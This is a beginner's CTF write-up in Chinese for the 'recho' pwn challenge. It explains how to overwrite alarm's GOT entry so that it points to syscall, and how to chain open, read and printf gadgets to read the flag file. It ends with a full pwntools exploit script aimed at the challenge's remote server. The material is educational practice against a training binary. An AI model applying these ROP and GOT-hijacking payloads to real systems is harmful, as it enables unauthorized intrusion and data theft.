#此阶段笨人处于ctf刚入门阶段,属于只是知道ret2libc ret2text ret2call大致怎么回事的阶段,相关工具还是不太熟练,作为第一篇跟ctf刷题相关的文章只是单纯的记录下自己的刷题经历和相关思路,后面如果熟练了起来可能每一步不会太详细了(叠甲)
die查了下壳
然后我们checksec一下
发现只是有个NX enabled看的还是可以的
然后我们用IDA看一下汇编代码
添加图片注释,不超过 140 字(可选)
这里其实我们可以发现一个问题,这这个题目中没有很明显的出现bin/sh,syscall这些东西,因此很容易想到用ret2libc的方法去进行攻击,同时发现第一个read用于固定了读取的内容因此不能进行攻击,但是在后面的v7并没有限制这一点因此可以更改v7实现的攻击的目的。而atoi将一个字符串数组变成整数这为我们提供了攻击思路。
但是。。ret2libc的攻击是一般来说是我们无法一次做到位的,因此在这样的无穷循环中,我们很难构造出一个比较好的能够一次到位的ret2libc,如果用shutdown来关掉的话,也只能攻击一次
添加图片注释,不超过 140 字(可选)
比较有意思的是当我用alt+t去搜flag的时候有flag的字样可能我们只需要搞到syscall的入口之后open flag就行OK
参考了其他大佬wp之后,这个题目考的其实是plt+got表的传参+shutdown+系统函数
plt-got表涉及到了延迟绑定技术,这块可以看下网上其他的教程,我们这里只需要知道第一次调用函数之后plt表加载上了got表(动态库中的函数在程序中实际的内存地址)
这里我们先做好具体规划:
1.找syscall的相对地址(一个是实际地址找不到,第二个是wirte/alarm/read/open都会调用syscall,找到相对的位置就行)
2.然后设计我们想要得到的效果
3.设计payload
利用pwndgb去运行recho的时候发现的
此处syscall距离alarm0x5相对位置确定好之后,接下来我们只需搞定alarm的got表就行
搞定alarm的got表之后 只需要加上个0x5就可以了
我们想要的效果实现open ->read->printf (不用write是因为参数有点多):
fd = open("flag", O_RDONLY)
read(fd, addr, 0x50)
printf(addr)
fd = open("flag", O_RDONLY) read(fd, addr, 0x50) printf(addr)
这里 read函数是将fd的内容读到addr上,需要保证addr的内容是可写的,因此这里我们采用bss段的内容
添加图片注释,不超过 140 字(可选)
除此之外需要明白一个事情,open的时候在linux内部我们文件放的标识符是从3开始的,那么fd应该等于3
那么现在我们先搞一下需要用到的gadget
添加图片注释,不超过 140 字(可选)
这里pop rax 我们让rax设置为 2 这样可以直接调用open了
添加图片注释,不超过 140 字(可选)
这里我们用通用gadget来处理一下(主要是想练习一下)
添加图片注释,不超过 140 字(可选)
这里的话有点问题 是将al加到了rdi指向的内容,所以我们可以将0x5放到rax中,rdi里面放的是alarm的地址
添加图片注释,不超过 140 字(可选)
这里选取pop rdi那个 我们放入alarm的got表内容
代码如下(通用gadget出了点bug 改不过来。。。不知道为啥用那个需要补上58个“A”。。所以就正常做了):
from pwn import *
from pwnlib.util.packing import p64
elf = ELF("./recho")
r=remote("61.147.171.105",55871)
pop_rax=0x4006fc#pop rax
pop_gernal=0x40089a#pop generic
mov_gernal=0x400880#move generic
pop_rdi=0x4008a3#pop rdi
pop_rsi_r15=0x4008a1
pop_rdx=0x4006fe
alarm_plt=elf.plt["alarm"]
alarm_got=elf.got["alarm"]
read_plt=elf.plt["read"]
printf_plt=elf.plt["printf"]
added=0x40070d#address of add
binsh=0x601090#bss addr
flag_addr=0x601058#flag addr
payload1=b'a'*(0x38)+p64(pop_rax)+p64(0x5)+p64(pop_rdi)+p64(alarm_got)+p64(added)#change got of alarm
payload2=p64(pop_rax)+p64(0x2)+p64(pop_rsi_r15)+p64(0)+p64(0)+p64(pop_rdi)+p64(flag_addr)+p64(alarm_plt)#open flag
payload3=p64(pop_rdi)+p64(0x3)+p64(pop_rsi_r15)+p64(binsh)+p64(0)+p64(pop_rdx)+p64(0x30)+p64(read_plt) #read flag
payload4=p64(pop_rdi)+p64(binsh)+p64(printf_plt)
payload=payload1+payload2+payload3+payload4
payload=payload.ljust(0x200,b'\x00')
r.recvuntil('Welcome to Recho server!\n')
r.send(str(0x200))
r.send(payload)
r.recv()
r.shutdown("send")
r.interactive()
结果
ps:蚌埠住了 刚入门pwn 这道题做了快一天才做了出来。。麻了。。
[pwn]ROP:灵活运用syscall_pwn syscall-CSDN博客 攻防世界PWN之Recho题解_printf_plt = elf.plt['printf']-CSDN博客